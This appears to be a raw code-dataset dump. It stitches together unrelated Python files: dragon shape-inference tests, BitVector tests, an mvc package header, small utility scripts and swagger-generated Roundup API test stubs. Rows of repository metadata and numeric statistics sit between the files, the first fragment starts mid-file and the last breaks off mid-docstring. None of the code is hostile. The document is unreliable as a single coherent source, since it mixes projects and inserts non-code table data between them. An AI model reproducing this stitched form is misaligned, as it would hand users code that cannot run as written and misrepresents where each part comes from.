self.assertEqual(dragon.repeat(self.sym3, axis=1, repeats=2).shape, (1, None))
def test_reshape(self):
with dragon.graph_mode():
self.assertEqual(dragon.reshape(self.sym2, shape=(0, 1)).shape, (1, 1))
self.assertEqual(dragon.reshape(self.sym3, shape=(0, -1)).shape, (1, None))
self.assertEqual(dragon.reshape(self.sym3, shape=(0, 1, 0)).shape, None)
def test_resize(self):
with dragon.graph_mode():
self.assertEqual(dragon.vision.resize(
self.sym4, sizes=(1,)).shape, (1, None, 1, 1))
self.assertEqual(dragon.vision.resize(
self.sym4, sizes=(1, 1)).shape, (1, None, 1, 1))
self.assertEqual(dragon.vision.resize(
self.sym4, sizes=(1, 1, 1, 1)).shape, (1, None, 1, 1))
self.assertEqual(dragon.vision.resize(
self.sym4, scales=(1,)).shape, (1, None, None, None))
self.assertEqual(dragon.vision.resize(
self.sym4, scales=(1, 1)).shape, (1, None, None, None))
self.assertEqual(dragon.vision.resize(
self.sym4, scales=(1, 1, 1, 1)).shape, (1, None, None, None))
self.assertEqual(dragon.vision.resize(
self.sym5, sizes=(1, 1, 1, 1)).shape, None)
def test_roi_pool(self):
rois = dragon.Tensor((2, 5))
func = functools.partial(dragon.vision.roi_pool, pooled_h=7, pooled_w=7)
with dragon.graph_mode():
self.assertEqual(func([self.sym1, rois]).shape, None)
self.assertEqual(func([self.sym4, rois]).shape, (2, None, 7, 7))
self.assertEqual(func([self.sym4, self.sym1]).shape, (None, None, 7, 7))
def test_slice(self):
with dragon.graph_mode():
self.assertEqual(dragon.slice(self.sym1, (1,), (1,)).shape, None)
self.assertEqual(dragon.slice(self.sym3, (1,), (1,)).shape, (1, None))
def test_softmax_loss(self):
with dragon.graph_mode():
self.assertEqual(dragon.losses.softmax_cross_entropy_loss(
[self.sym1, self.sym1]).shape, ())
self.assertEqual(dragon.losses.softmax_cross_entropy_loss(
[self.sym1, self.sym1], reduction='none').shape, None)
self.assertEqual(dragon.losses.softmax_cross_entropy_loss(
[self.sym3, self.sym1], reduction='none').shape, (self.sym3.shape[0],))
def test_sort(self):
with dragon.graph_mode():
self.assertEqual(dragon.sort(self.sym1)[0].shape, None)
self.assertEqual(dragon.sort(self.sym2)[0].shape, self.sym2.shape)
def test_split(self):
with dragon.graph_mode():
self.assertEqual(dragon.split(self.sym1, 2)[0].shape, None)
self.assertEqual(dragon.split(self.sym2, 2)[0].shape, (1,))
self.assertEqual(dragon.split(self.sym2, 2, axis=1)[0].shape, None)
self.assertEqual(dragon.split(self.sym2, (1, 1))[0].shape, (1,))
self.assertEqual(dragon.split(self.sym3, 2, axis=1)[0].shape, (1, None))
self.assertEqual(dragon.unstack(self.sym1, axis=0, num=2)[0].shape, None)
self.assertEqual(dragon.unstack(self.sym2, axis=0)[0].shape, ())
self.assertEqual(dragon.unstack(self.sym3, axis=1, num=2)[0].shape, (1,))
def test_squeeze(self):
with dragon.graph_mode():
self.assertEqual(dragon.squeeze(self.sym1).shape, None)
self.assertEqual(dragon.squeeze(self.sym2).shape, ())
self.assertEqual(dragon.squeeze(self.sym2, axis=-1).shape, ())
self.assertEqual(dragon.squeeze(self.sym3).shape, (None,))
def test_stack(self):
with dragon.graph_mode():
self.assertEqual(dragon.stack([self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.stack([self.sym3, self.sym2]).shape, (2, 1, None))
self.assertEqual(dragon.stack([self.sym3, self.sym3]).shape, (2, 1, None))
self.assertEqual(dragon.stack([self.sym3, self.sym3], axis=-1).shape, (1, None, 2))
def test_tile(self):
with dragon.graph_mode():
self.assertEqual(dragon.tile(
self.sym1, repeats=(1, 2)).shape, None)
self.assertEqual(dragon.tile(
self.sym3, repeats=(1, 2)).shape, (1, None))
def test_topk(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.top_k(self.sym1)[0].shape, None)
self.assertEqual(dragon.math.top_k(self.sym2, k=2)[0].shape, (2,))
self.assertEqual(dragon.math.top_k(self.sym2, axis=1)[0].shape, None)
def test_unchanged(self):
with dragon.graph_mode():
self.assertEqual(dragon.math.negative(self.sym1).shape, None)
def test_unique(self):
with dragon.graph_mode():
self.assertEqual(dragon.unique(self.sym1).shape, (None,))
self.assertEqual(dragon.unique(self.sym1, return_counts=True)[1].shape, (None,))
self.assertEqual(dragon.unique(self.sym1, return_inverse=True)[1].shape, None)
self.assertEqual(dragon.unique(self.sym1,
return_inverse=True,
return_counts=True)[1].shape, None)
class TestOpSpecWithTensorDesc(unittest.TestCase):
"""Test the op spec with tensor descriptors."""
sym1 = dragon.Tensor(None, symbolic=True)
sym2 = dragon.Tensor((1, None), symbolic=True)
sym3 = dragon.Tensor((1, None, None, None), symbolic=True)
with dragon.graph_mode():
shape1 = dragon.shape(sym1)
def test_broadcast_to(self):
with dragon.graph_mode():
self.assertEqual(dragon.broadcast_to(
self.sym1, shape=self.shape1).shape, None)
self.assertEqual(dragon.broadcast_to(
self.sym2, shape=self.shape1).shape, (None,) * len(self.sym2.shape))
def test_channel_norm(self):
func = functools.partial(dragon.nn.channel_norm,
mean=(1., 1., 1.), std=(1., 1., 1.))
with dragon.graph_mode():
self.assertEqual(func(self.sym1).shape, None)
self.assertEqual(func(self.sym1, perm=self.shape1).shape, None)
self.assertEqual(func(self.sym2).shape, self.sym2.shape)
self.assertEqual(func(self.sym2, perm=self.shape1).shape,
(None,) * len(self.sym2.shape))
def test_conv_transpose(self):
w = dragon.Tensor((3, 3, 3, 3))
with dragon.graph_mode():
self.assertEqual(dragon.nn.conv2d_transpose(
[self.sym1, self.sym1]).shape, None)
self.assertEqual(dragon.nn.conv2d_transpose(
[self.sym3, self.sym1]).shape, None)
self.assertEqual(dragon.nn.conv2d_transpose(
[self.sym3, w]).shape, (self.sym3.shape[0], w.shape[0], None, None))
self.assertEqual(dragon.nn.conv2d_transpose(
[w, w], output_padding=self.shape1).shape,
(w.shape[0], w.shape[0], None, None))
self.assertEqual(dragon.nn.conv2d_transpose(
[w, w], output_shape=self.shape1).shape,
(w.shape[0], w.shape[0], None, None))
def test_init_ops(self):
init_funcs_v1 = [dragon.fill,
dragon.ones,
dragon.random.glorot_normal,
dragon.random.glorot_uniform,
dragon.random.normal,
dragon.random.uniform,
dragon.random.truncated_normal,
dragon.zeros]
init_funcs_v2 = [dragon.ones_like,
dragon.random.normal_like,
dragon.random.uniform_like,
dragon.zeros_like]
for func in init_funcs_v1:
with dragon.graph_mode():
self.assertEqual(func(shape=self.shape1).shape, None)
for func in init_funcs_v2:
with dragon.graph_mode():
self.assertEqual(func(self.sym1).shape, None)
self.assertEqual(func(self.sym2).shape, self.sym2.shape)
def test_permutation(self):
with dragon.graph_mode():
self.assertEqual(dragon.random.permutation(self.sym1).shape, (None,))
def test_repeat(self):
with dragon.graph_mode():
self.assertEqual(dragon.repeat(
self.sym1, repeats=self.shape1).shape, None)
self.assertEqual(dragon.repeat(
self.sym2, repeats=self.shape1).shape, None)
def test_reshape(self):
with dragon.graph_mode():
self.assertEqual(dragon.reshape(
self.sym1, shape=self.shape1).shape, None)
self.assertEqual(dragon.reshape(
self.sym2, shape=self.shape1).shape, None)
def test_resize(self):
with dragon.graph_mode():
self.assertEqual(dragon.vision.resize(
self.sym1, sizes=self.shape1).shape, None)
self.assertEqual(dragon.vision.resize(
self.sym1, scales=self.shape1).shape, None)
self.assertEqual(dragon.vision.resize(
self.sym2, sizes=self.shape1).shape, (None,) * len(self.sym2.shape))
self.assertEqual(dragon.vision.resize(
self.sym2, scales=self.shape1).shape, (None,) * len(self.sym2.shape))
def test_slice(self):
with dragon.graph_mode():
self.assertEqual(dragon.slice(
self.sym1, starts=self.shape1, sizes=self.shape1).shape, None)
self.assertEqual(dragon.slice(
self.sym2, starts=self.shape1, sizes=self.shape1).shape, None)
def test_tile(self):
with dragon.graph_mode():
self.assertEqual(dragon.tile(
self.sym1, repeats=self.shape1).shape, None)
self.assertEqual(dragon.tile(
self.sym2, repeats=self.shape1).shape, (None,) * len(self.sym2.shape))
def test_transpose(self):
with dragon.graph_mode():
self.assertEqual(dragon.transpose(self.sym1).shape, None)
self.assertEqual(dragon.transpose(self.sym1, perm=self.shape1).shape, None)
self.assertEqual(dragon.transpose(self.sym2).shape, self.sym2.shape[::-1])
self.assertEqual(dragon.transpose(
self.sym2, perm=self.shape1).shape, (None,) * len(self.sym2.shape))
if __name__ == '__main__':
run_tests()
| 46.195041
| 104
| 0.581473
| 3,437
| 27,948
| 4.646203
| 0.076811
| 0.186925
| 0.216983
| 0.111153
| 0.841881
| 0.78571
| 0.708122
| 0.623959
| 0.506231
| 0.400401
| 0
| 0.03539
| 0.266996
| 27,948
| 604
| 105
| 46.271523
| 0.744118
| 0.017711
| 0
| 0.436647
| 0
| 0
| 0.00558
| 0
| 0
| 0
| 0
| 0
| 0.387914
| 1
| 0.118908
| false
| 0.007797
| 0.015595
| 0.001949
| 0.161793
| 0.001949
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
a22218a56a65f130be1f8e04d44c15fa4a0e6f2d
| 66
|
py
|
Python
|
eltyer_investing_algorithm_framework/configuration/constants.py
|
ELTYER/eltyer-investing-algorithm-framework
|
0ae450b1174ae0bb507553818f5d4264fb1b106f
|
[
"Apache-2.0"
] | null | null | null |
eltyer_investing_algorithm_framework/configuration/constants.py
|
ELTYER/eltyer-investing-algorithm-framework
|
0ae450b1174ae0bb507553818f5d4264fb1b106f
|
[
"Apache-2.0"
] | 2
|
2022-01-06T11:19:50.000Z
|
2022-01-06T11:19:53.000Z
|
eltyer_investing_algorithm_framework/configuration/constants.py
|
ELTYER/eltyer-investing-algorithm-framework
|
0ae450b1174ae0bb507553818f5d4264fb1b106f
|
[
"Apache-2.0"
] | null | null | null |
ELTYER_CLIENT = "ELTYER_CLIENT"
ELTYER_API_KEY = "ELTYER_API_KEY"
| 22
| 33
| 0.818182
| 10
| 66
| 4.8
| 0.4
| 0.5
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 66
| 2
| 34
| 33
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0.409091
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
bf4dfe1b08fcf4f831f508903465e34722aad466
| 324
|
py
|
Python
|
anasymod/viewer/scansion.py
|
SubjeBilisim/anasymod
|
d93f656c21e2aa238f7a5ada50955cc7dc615df1
|
[
"BSD-3-Clause"
] | 20
|
2019-05-14T10:13:44.000Z
|
2022-03-29T14:34:50.000Z
|
anasymod/viewer/scansion.py
|
SubjeBilisim/anasymod
|
d93f656c21e2aa238f7a5ada50955cc7dc615df1
|
[
"BSD-3-Clause"
] | 43
|
2019-07-16T20:54:22.000Z
|
2021-08-10T07:06:48.000Z
|
anasymod/viewer/scansion.py
|
SubjeBilisim/anasymod
|
d93f656c21e2aa238f7a5ada50955cc7dc615df1
|
[
"BSD-3-Clause"
] | 5
|
2019-10-21T09:53:38.000Z
|
2021-09-29T18:08:59.000Z
|
from anasymod.viewer.viewer import Viewer
from anasymod.util import call
class ScansionViewer(Viewer):
def view(self):
# build command
#cmd = ['open', '/Applications/Scansion.app', self.target.cfg['vcd_path']]
cmd = ['open', '/Applications/Scansion.app']
# run command
call(cmd)
| 29.454545
| 82
| 0.641975
| 38
| 324
| 5.447368
| 0.605263
| 0.115942
| 0.183575
| 0.26087
| 0.289855
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.225309
| 324
| 11
| 83
| 29.454545
| 0.824701
| 0.302469
| 0
| 0
| 0
| 0
| 0.134529
| 0.116592
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
bf61132d27caeba696a2cf235b885b8e85551f56
| 1,541
|
py
|
Python
|
tests/test_bitvector.py
|
devjsc/ledger-api-py
|
5dba7ad97a53c52cdf1407fbce96330dcd961e0b
|
[
"Apache-2.0"
] | null | null | null |
tests/test_bitvector.py
|
devjsc/ledger-api-py
|
5dba7ad97a53c52cdf1407fbce96330dcd961e0b
|
[
"Apache-2.0"
] | null | null | null |
tests/test_bitvector.py
|
devjsc/ledger-api-py
|
5dba7ad97a53c52cdf1407fbce96330dcd961e0b
|
[
"Apache-2.0"
] | null | null | null |
import unittest
from fetchai.ledger.bitvector import BitVector
class BitVectorSerialisationTests(unittest.TestCase):
def test_empty(self):
bits = BitVector()
self.assertEqual(len(bits), 0)
self.assertEqual(bits.byte_length, 0)
def test_sets(self):
bits = BitVector(8)
bits.set(3, 1)
bits.set(6, 1)
bits.set(7, 1)
self.assertEqual(len(bits), 8)
self.assertEqual(bits.byte_length, 1)
self.assertEqual(bits.as_hex(), 'c8')
def test_gets(self):
bits = BitVector.from_hex_string('c8')
self.assertEqual(bits.get(0), 0)
self.assertEqual(bits.get(1), 0)
self.assertEqual(bits.get(2), 0)
self.assertEqual(bits.get(3), 1)
self.assertEqual(bits.get(4), 0)
self.assertEqual(bits.get(5), 0)
self.assertEqual(bits.get(6), 1)
self.assertEqual(bits.get(7), 1)
def test_equal(self):
bits1 = BitVector.from_hex_string('c8')
bits2 = BitVector.from_hex_string('c8')
self.assertEqual(bits1, bits2)
def test_copy_construct(self):
bits1 = BitVector.from_hex_string('c8')
bits2 = BitVector(bits1)
self.assertEqual(bits1, bits2)
def test_not_equal(self):
bits1 = BitVector.from_hex_string('c8')
bits2 = BitVector.from_hex_string('c9c8')
self.assertFalse(bits1 == bits2)
def test_binary(self):
bits = BitVector.from_bytes(bytes([0x1f]), 8)
self.assertEqual('00011111', bits.as_binary())
| 29.075472
| 54
| 0.626217
| 199
| 1,541
| 4.718593
| 0.236181
| 0.255591
| 0.222577
| 0.187433
| 0.533546
| 0.300319
| 0.248136
| 0.188498
| 0.188498
| 0.138445
| 0
| 0.050557
| 0.2427
| 1,541
| 52
| 55
| 29.634615
| 0.75407
| 0
| 0
| 0.125
| 0
| 0
| 0.015574
| 0
| 0
| 0
| 0.002596
| 0
| 0.425
| 1
| 0.175
| false
| 0
| 0.05
| 0
| 0.25
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
bfb0771dda43ee26f9780d8cd87ade5d5e73cb9c
| 35
|
py
|
Python
|
python/aether/src/tests/scratch_tests.py
|
MoysheBenRabi/setp
|
7619f0bae457e14e2fb41e58bfe517019628c5de
|
[
"Apache-2.0"
] | 1
|
2021-07-13T12:22:22.000Z
|
2021-07-13T12:22:22.000Z
|
python/aether/src/tests/scratch_tests.py
|
MoysheBenRabi/setp
|
7619f0bae457e14e2fb41e58bfe517019628c5de
|
[
"Apache-2.0"
] | 1
|
2021-01-04T21:53:56.000Z
|
2021-01-04T21:59:36.000Z
|
python/aether/src/tests/scratch_tests.py
|
MoysheBenRabi/setp
|
7619f0bae457e14e2fb41e58bfe517019628c5de
|
[
"Apache-2.0"
] | 1
|
2021-09-19T16:18:54.000Z
|
2021-09-19T16:18:54.000Z
|
t = bytearray([65]*3)
print(t[0:2])
| 17.5
| 21
| 0.6
| 8
| 35
| 2.625
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 0.085714
| 35
| 2
| 22
| 17.5
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
44a82b878b102c9b046f61ad7606e921977ae596
| 2,048
|
py
|
Python
|
mvc/__init__.py
|
PyXRD/pyxrd
|
26bacdf64f3153fa74b8caa62e219b76d91a55c1
|
[
"BSD-2-Clause"
] | 27
|
2018-06-15T15:28:18.000Z
|
2022-03-10T12:23:50.000Z
|
mvc/__init__.py
|
PyXRD/pyxrd
|
26bacdf64f3153fa74b8caa62e219b76d91a55c1
|
[
"BSD-2-Clause"
] | 22
|
2018-06-14T08:29:16.000Z
|
2021-07-05T13:33:44.000Z
|
mvc/__init__.py
|
PyXRD/pyxrd
|
26bacdf64f3153fa74b8caa62e219b76d91a55c1
|
[
"BSD-2-Clause"
] | 8
|
2019-04-13T13:03:51.000Z
|
2021-06-19T09:29:11.000Z
|
# coding=UTF-8
# ex:ts=4:sw=4:et=on
# -------------------------------------------------------------------------
# Copyright (C) 2014 by Mathijs Dumon <mathijs dot dumon at gmail dot com>
# Copyright (C) 2005 by Roberto Cavada <roboogle@gmail.com>
#
# mvc is a framework derived from the original pygtkmvc framework
# hosted at: <http://sourceforge.net/projects/pygtkmvc/>
#
# mvc is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2 of the License, or (at your option) any later version.
#
# mvc is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor,
# Boston, MA 02110, USA.
# -------------------------------------------------------------------------
# FIXME clean this mess up
"""
Shortcuts are provided to the following classes defined in submodules:
.. class:: Model
:noindex:
.. class:: TreeStoreModel
:noindex:
.. class:: ListStoreModel
:noindex:
.. class:: TextBufferModel
:noindex:
.. class:: ModelMT
:noindex:
.. class:: Controller
:noindex:
.. class:: View
:noindex:
.. class:: Observer
:noindex:
.. class:: Observable
:noindex:
"""
from .support.version import LooseVersion
from .__version import __version__
# Class shortcuts:
from .observers import Observer
from .support.observables import Signal, Observable
from .models import *
try:
from .view import View
from .controller import Controller
except ImportError:
import logging
logging.getLogger(__name__).warning("ImportError when trying to load View and/or Controller: do you have PyGTK/GObject installed?")
| 30.567164
| 135
| 0.678711
| 262
| 2,048
| 5.267176
| 0.568702
| 0.069565
| 0.026087
| 0.041304
| 0.072464
| 0.072464
| 0.049275
| 0
| 0
| 0
| 0
| 0.01119
| 0.170898
| 2,048
| 66
| 136
| 31.030303
| 0.801531
| 0.757324
| 0
| 0
| 0
| 0
| 0.198704
| 0
| 0
| 0
| 0
| 0.015152
| 0
| 1
| 0
| true
| 0
| 0.909091
| 0
| 0.909091
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
44f9b134b9dcac472ce2ffd537be0ad6845599c7
| 307
|
py
|
Python
|
live-coding/L03/line_intersection.py
|
patricklam/stqam-2017
|
63db2b4e97c0f53e49f3d91696e969ed73d67699
|
[
"BSD-2-Clause"
] | 30
|
2016-12-17T01:10:11.000Z
|
2018-04-15T22:27:00.000Z
|
live-coding/L03/line_intersection.py
|
patricklam/stqam-2017
|
63db2b4e97c0f53e49f3d91696e969ed73d67699
|
[
"BSD-2-Clause"
] | null | null | null |
live-coding/L03/line_intersection.py
|
patricklam/stqam-2017
|
63db2b4e97c0f53e49f3d91696e969ed73d67699
|
[
"BSD-2-Clause"
] | 14
|
2017-01-09T18:29:15.000Z
|
2018-04-14T20:06:46.000Z
|
class LineSegment:
def __init__(self, x1, x2):
self.x1 = x1; self.x2 = x2;
# this code was found by Michael Thiessen on stackoverflow:
# http://stackoverflow.com/questions/306316/determine-if-two-rectangles-overlap-each-other?rq=1
def intersect(a, b):
return (a.x1 < b.x2) & (a.x2 > b.x1);
| 34.111111
| 95
| 0.680782
| 49
| 307
| 4.183673
| 0.673469
| 0.058537
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.066667
| 0.169381
| 307
| 8
| 96
| 38.375
| 0.737255
| 0.491857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
44fae7fdc3f955faa50c143e448b4cc2db9a1486
| 119
|
py
|
Python
|
guillotina_client/tests/conftest.py
|
guillotinaweb/guillotina_client
|
3e83ac367093d6220b99192074f7130fefec7fec
|
[
"BSD-3-Clause"
] | null | null | null |
guillotina_client/tests/conftest.py
|
guillotinaweb/guillotina_client
|
3e83ac367093d6220b99192074f7130fefec7fec
|
[
"BSD-3-Clause"
] | 6
|
2018-07-20T15:51:39.000Z
|
2018-07-29T15:46:47.000Z
|
guillotina_client/tests/conftest.py
|
guillotinaweb/guillotina_client
|
3e83ac367093d6220b99192074f7130fefec7fec
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
pytest_plugins = [
'guillotina_client.tests.fixtures',
'guillotina.tests.fixtures',
]
| 17
| 39
| 0.647059
| 12
| 119
| 6.25
| 0.75
| 0.346667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010101
| 0.168067
| 119
| 6
| 40
| 19.833333
| 0.747475
| 0.176471
| 0
| 0
| 0
| 0
| 0.59375
| 0.59375
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
780f6c12eb9bb3168b339e3c627e1648d6cb6729
| 32
|
py
|
Python
|
ikdisplay/test/__init__.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | 2
|
2018-02-04T10:20:53.000Z
|
2019-08-19T18:35:33.000Z
|
ikdisplay/test/__init__.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | null | null | null |
ikdisplay/test/__init__.py
|
ralphm/ikdisplay
|
74ceffc853329259e54348e80bc0517858bac015
|
[
"MIT"
] | null | null | null |
"""
Tests for L{ikdisplay}.
"""
| 8
| 23
| 0.5625
| 4
| 32
| 4.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15625
| 32
| 3
| 24
| 10.666667
| 0.666667
| 0.71875
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
781a5bdbe1b5ce6d6b40d9990c8f20bf4e40c32d
| 99
|
py
|
Python
|
project/timenow.py
|
tarabuk1n/Debian-Miniconda-Installation
|
02d2524f0ac3efc6203f483c13229384861cff52
|
[
"Unlicense"
] | 1
|
2021-09-27T17:33:11.000Z
|
2021-09-27T17:33:11.000Z
|
project/timenow.py
|
tarabuk1n/Debian-Miniconda-Installation
|
02d2524f0ac3efc6203f483c13229384861cff52
|
[
"Unlicense"
] | null | null | null |
project/timenow.py
|
tarabuk1n/Debian-Miniconda-Installation
|
02d2524f0ac3efc6203f483c13229384861cff52
|
[
"Unlicense"
] | null | null | null |
from datetime import datetime
time_now = datetime.now()
print(time_now.strftime('%B/%d/%Y:%H/%M'))
| 24.75
| 42
| 0.717172
| 17
| 99
| 4.058824
| 0.705882
| 0.202899
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.080808
| 99
| 4
| 42
| 24.75
| 0.758242
| 0
| 0
| 0
| 0
| 0
| 0.14
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
785c5deda2c348c6209ce4fe9f31e4c989602234
| 189
|
py
|
Python
|
answers/AkshajV1309/Day14/D14Q1.py
|
arc03/30-DaysOfCode-March-2021
|
6d6e11bf70280a578113f163352fa4fa8408baf6
|
[
"MIT"
] | 22
|
2021-03-16T14:07:47.000Z
|
2021-08-13T08:52:50.000Z
|
answers/AkshajV1309/Day14/D14Q1.py
|
arc03/30-DaysOfCode-March-2021
|
6d6e11bf70280a578113f163352fa4fa8408baf6
|
[
"MIT"
] | 174
|
2021-03-16T21:16:40.000Z
|
2021-06-12T05:19:51.000Z
|
answers/AkshajV1309/Day14/D14Q1.py
|
arc03/30-DaysOfCode-March-2021
|
6d6e11bf70280a578113f163352fa4fa8408baf6
|
[
"MIT"
] | 135
|
2021-03-16T16:47:12.000Z
|
2021-06-27T14:22:38.000Z
|
def remdupli(S):
if len(S)==1:
return S
if S[0]==S[1]:
return remdupli(S[1:])
return S[0]+remdupli(S[1:])
S=input('Enter string: ')
print('Output:',remdupli(S))
| 21
| 31
| 0.544974
| 32
| 189
| 3.21875
| 0.40625
| 0.349515
| 0.23301
| 0.174757
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.041379
| 0.232804
| 189
| 8
| 32
| 23.625
| 0.668966
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0
| 0
| 0.5
| 0.125
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
785c82f65e10fa8568b7d5bcdedb3f573878a97c
| 2,106
|
py
|
Python
|
atom/nucleus/python/test/test_roundup_api.py
|
sumit4-ttn/SDK
|
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
|
[
"Apache-2.0"
] | null | null | null |
atom/nucleus/python/test/test_roundup_api.py
|
sumit4-ttn/SDK
|
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
|
[
"Apache-2.0"
] | null | null | null |
atom/nucleus/python/test/test_roundup_api.py
|
sumit4-ttn/SDK
|
b3ae385e5415e47ac70abd0b3fdeeaeee9aa7cff
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
Hydrogen Atom API
The Hydrogen Atom API # noqa: E501
OpenAPI spec version: 1.7.0
Contact: info@hydrogenplatform.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import nucleus_api
from nucleus_api.api.roundup_api import RoundupApi # noqa: E501
from nucleus_api.rest import ApiException
class TestRoundupApi(unittest.TestCase):
"""RoundupApi unit test stubs"""
def setUp(self):
self.api = nucleus_api.api.roundup_api.RoundupApi() # noqa: E501
def tearDown(self):
pass
def test_create_roundup_settings_using_post(self):
"""Test case for create_roundup_settings_using_post
Create a Roundup Settings # noqa: E501
"""
pass
def test_create_roundup_using_post(self):
"""Test case for create_roundup_using_post
Create a roundup # noqa: E501
"""
pass
def test_delete_roundup_settings_using_delete(self):
"""Test case for delete_roundup_settings_using_delete
Delete a roundup settings # noqa: E501
"""
pass
def test_get_roundup_all_using_get(self):
"""Test case for get_roundup_all_using_get
List all roundups # noqa: E501
"""
pass
def test_get_roundup_settings_all_using_get(self):
"""Test case for get_roundup_settings_all_using_get
List all roundup settings # noqa: E501
"""
pass
def test_get_roundup_settings_using_get(self):
"""Test case for get_roundup_settings_using_get
